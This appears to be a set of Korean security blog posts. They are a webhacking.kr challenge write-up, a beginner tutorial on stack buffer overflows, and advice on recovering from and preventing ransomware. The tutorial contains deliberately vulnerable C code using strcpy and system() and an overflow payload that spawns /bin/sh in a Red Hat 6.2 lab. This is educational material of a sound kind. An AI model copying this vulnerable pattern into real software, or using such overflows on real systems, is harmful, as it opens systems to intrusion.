webhacking.kr 25번 문제 풀이


이번 문제는 간단한 javascript 우회 문제이다.


문제 접속 : http://webhacking.kr/challenge/javascript/js2.html

Level 15로 접속하면 Access_Denied Alert이 발생하고 return 된다.


js2.html 소스 화인이 필요하여 chrome view-source로 해당 페이지 소스 확인

view-source:http://webhacking.kr/challenge/javascript/js2.html



소스 확인 결과 off_script가 이번 문제의 패스워드이다.

http://webhacking.kr/index.php?mode=auth 로 가서 획득한 패스워드를 입력하면 성공



다음과 같이 level clear를 확인할 수 있음









최초작성일 : 2017/04/02


이 글은 예전 세미나 용도로 작성해뒀던 자료를 각색하였음


1. BOF(Buffer Overflow) 개요


[위키피디아(위키백과)] http://ko.wikipedia.org/wiki/%EB%B2%84%ED%8D%BC_%EC%98%A4%EB%B2%84%ED%94%8C%EB%A1%9C

버퍼 오버플로(buffer overflow) 또는 버퍼 오버런(buffer overrun)은 메모리를 다루는 데에 오류가 발생하여 잘못된 동작을 하는 프로그램 취약점이다컴퓨터 보안과 프로그래밍에서 이는 프로세스가 데이터를 버퍼에 저장할 때 프로그래머가 지정한 곳 바깥에 저장하는 것이다. 벗어난 데이터는 인접 메모리를 덮어 쓰게 되는데 다른 데이터가 포함되어 있을 수도 있는데손상을 받을 수 있는 데이터는 프로그램 변수와 프로그램 흐름 제어 데이터도 포함된다이로 인해 잘못된 프로그램 거동이 나타날 수 있으며메모리 접근 오류잘못된 결과프로그램 종료또는 시스템 보안 누설이 발생할 수 있다. 


[네이버 지식백과버퍼 오버플로 [buffer overflow] (컴퓨터인터넷IT용어대사전, 2011.1.20, 일진사)

서버에서 가동되고 있는 프로그램에설정되어 있는 수신 용량보다 훨씬 큰 용량의 데이터를 한꺼번에 보낼 때 서비스가 정지되는 상태보낸 데이터에 특수한 실행 프로그램을 넣어두면정지시킨 서비스가 관리자 권한으로 움직이는 경우에 그 특수한 프로그램이 관리자 권한으로 동작한다이렇게 하여 서버에 침입하여 다양한 공격을 한다버퍼 오버 플로는 응용 프로그램을 이용하여 보내진 데이터가 수신 용량을 넘는지를 체크하도록 해두면 막을 수 있다 .



 결국 Buffer Overflow란...


1) 정해진 메모리보다 많은 데이터를 입력 받아 특정 영역을 덮음으로써 프로그램 흐름을 바꿔 공격자가 원하는 코드를 실행하는 공격

   <Phrack Magazine 49-14>, Aleph One


2) 입력 값의 길이를 올바르게 검사하지 않아 생기는 취약점

   프로그램의 실행 흐름을 바꾸어 특정 코드가 실행되게 하는 기법



2. 참고사항


이 문서는 단순히 이어져있는 buffer를 overflow하여 BOF를 성공적으로 수행하는 내용을 설명한다.



3. 실습


OS 환경 (redhat 6.2 버전이 BOF 입문자가 실습하기 매우 좋은 환경임, random stack 이니 stack guard니 exec shield니 그런거 없음)

 redhat 6.2 


간단한 실습코드

// boftest.c


#include <stdio.h>

#include <dumpcode.h>


int main(int argc, char *argv[]) {

        char buf[16];

        char buf2[16];

        if (argc != 2) {

                printf("Usage : %s arg\n“, argv[0]);

                exit(1);

        }

        strcpy(buf2, argv[1]);

        system(buf);

        dumpcode(buf2,64);

} 


컴파일 후 아래와 같이 실행하면 command not found 에러를 발견할 수 있다.

command not found 는 shell이 어떤 명령을 실행했는데 해당 명령어를 발견하지 못했다는 의미이다.

즉, system(buf); 에 의해 무엇인가 실행이 되었지만 해당 command를 찾을 수 없다는 의미가 되겠다.

만약 buf2를 overflow해서 buf에 공격자가 원하는 값을 삽입할 수 있다면 해당 명령어를 실행할 수 있다!!

[demo@redhat6 demo]$ ./bof1 AAAAAAAAAAAA

shx?: command not found

0xbffffb68  41 41 41 41 41 41 41 41 41 41 41 41 00 fb ff bf   AAAAAAAAAAAA....

0xbffffb78  88 fb ff bf 8b 84 04 08 78 97 04 08 8c 97 04 08   ........x.......

0xbffffb88  a8 fb ff bf cb 09 03 40 02 00 00 00 d4 fb ff bf   .......@........

0xbffffb98  e0 fb ff bf 68 38 01 40 02 00 00 00 f0 83 04 08   ....h8.@........


stack 확인

./bof1 AAAAAAAAAAAA 실행 당시 stack 구조를 살펴보면 다음과 같다.

                            Low address

        |     buf2      | AAAAAAAAAAAAAAAA + 00 fb ff bf

        +------------+

        |     buf       | /bin/sh - system() - 88 fb ff bf 8b 84 04 08 78 97 04 08 8c 97 04 08 - command not found

        +------------+

        |     SFP      | - a8 fb ff bf

        +------------+

        |     RET      | - cb 09 03 40

        +------------+ 

                           High address


argument를 통해 입력 받는 값은 buf2에 저장된다. - strcpy(buf2, argv[1]); 

우리는 buf2를 overflow 하여 buf에 우리가 실행할 명령어를 삽입하면 된다. - system(buf);


공격 payload를 구성하면 다음과 같다

[ buf2 ][ buf ][ sfp ][ ret ]


buf2[16] : AAAAAAAAAAAAAAAA

buf[16] : /bin/sh

sfp : Stack Frame Pointer (ebp)

ret : return address, 함수 복귀주소


참고 :  이 글에서는 stack frame pointer overflow 나 ret를 overflow 하지 않고 단순히 buffer를 overflow 하여 공격하는 방법을 다룬다.


최종 공격 payload를 그려보면 다음과 같다

[ AAAAAAAAAAAAAAAA ][ /bin/sh ][ sfp ][ ret ]

                                  ~~~~~~

                                   system()에 의해 실행된다.


다음과 같이 공격을 실행하면 공격 의도대로 shell을 획득할 수 있다.

[demo@redhat6 demo]$ ./bof1 AAAAAAAAAAAAAAAA/bin/sh

bash$ id

uid=501(demo) gid=501(demo) groups=501(demo) 


BOF 개념 끝


'BOF' 카테고리의 다른 글

[windows] windows buffer overflow #3  (0) 2017.04.01
[windows] windows buffer overflow #2  (0) 2017.04.01
[windows] windows buffer overflow #1  (0) 2017.04.01

출처가 불분명한 파일 등을 실행했다가 랜섬웨어(Ransomeware)에 감염되면 복구는 결코 쉽지 않다.


* 랜섬웨어 : 컴퓨터 시스템을 감염시켜 접근을 제한하고 일종의 몸값을 요구하는 악성 소프트웨어의 한 종류

* 출처 : 위키백과 - https://ko.wikipedia.org/wiki/%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4


복구 업체를 통해서 감염된 파일을 복구할 수 있다고 하나 복구 업체도 결국 Decryption 도구를 구하거나, 구매하거나, 요금을 지불하여 복구한다.


랜섬웨어에 감염되었다면 아래 사이트를 방문해보자

https://www.nomoreransom.org/


랜섬웨어에 감염되어 암호화된 파일을 통해 랜섬웨어 종류 확인도 가능하고... 

- 현재 제공하는 Decryptor로 복구 가능한 랜섬웨어 종류인지 확인 가능


38종의 랜섬웨어 Decryptor(2017.4.24 기준) 등을 제공한다.


- 2017.4.24 기준 Decryptor 리스트

Rakhni Decryptor (updated 2-3-2017 with Dharma)

Rannoh Decryptor (updated 20-12-2016 with CryptXXX v3)

Cry9 Decryptor

Damage Decryptor

Crypton Decryptor

Merry X-Mas Decryptor

BarRax Decryptor

Alcatraz Decryptor

Bart Decryptor

Crypt888 Decryptor

HiddenTear Decryptor

Noobcrypt Decryptor

CryptoMix Decryptor

Popcorn Decryptor

Marlboro Decryptor

GlobeImposter Decryptor

MRCR Decryptor

Globe3 Decryptor

Derialock Decryptor

PHP Ransomware Decryptor

WildFire Decryptor

Chimera Decryptor

Teslacrypt Decryptor

Shade Decryptor

CoinVault Decryptor

Jigsaw Decryptor

TM Ransomware File Decryptor

NMoreira Decryptor

Ozozalocker Decryptor

Globe Decryptor

Globe2 Decryptor

FenixLocker Decryptor

Philadelphia Decryptor

Stampado Decryptor

Xorist Decryptor

Nemucod Decryptor

Gomasom Decryptor

Linux.Encoder Decryptor



끝으로...

랜섬웨어는 신뢰할 수 없는 사이트 방문, 피싱메일, P2P 등을 통한 파일 실행, SNS 등의 다양한 경로 및 방법으로 감염될 수 있음을 알아야 한다.

결국 랜섬웨어 감염을 가능하면 사전에 예방하는 방법을 몸에 익혀두면 많은 도움이 될 것이다. (뿐만 아니라 악성코드까지 덤으로 예방 가능)


백퍼 내 기준에서 생각나도 대로 제시하는 예방 방법들 (추후 전문적으로 찾아보고 내용 업데이트 할 수도..)


- 출처가 불분명한 파일들은 백신 검사 후 실행

  또는, 백신에서 악성코드로 인식하지 않더라도 100% 장담할 수 없다면 실행하지 말자

  용량이 128MB 미만이라면 https://virustotal.com을 이용해서 의심스러운 파일을 다양한 백신으로 검사하는 습관도 아주 좋다.


- 주기적인 운영체제 및 각종 SW의 보안 패치 적용

   DBD 기법 등을 이용해서 감염되는 사례는 주로 윈도우 OS, Flash, 오피스 등의 0-day 취약점 등을 이용하니 보안패치는 필수..

- 백신 최신 업데이트 및 주기적인 검사 (& 성능좋은 백신 사용)

- 중요 데이터 백업 (요즘 외장형 HDD가 싸다..)

- 데이터 보호 도구 사용 (대표적으로 Folder Lock 류의 유틸을 사용하여 데이터 접근 통제)

- 기타 등등


참고하시라..



랜섬웨어 정의 및 감염경로 참고 사이트 :

https://www.krcert.or.kr/ransomware/information.do



+ Recent posts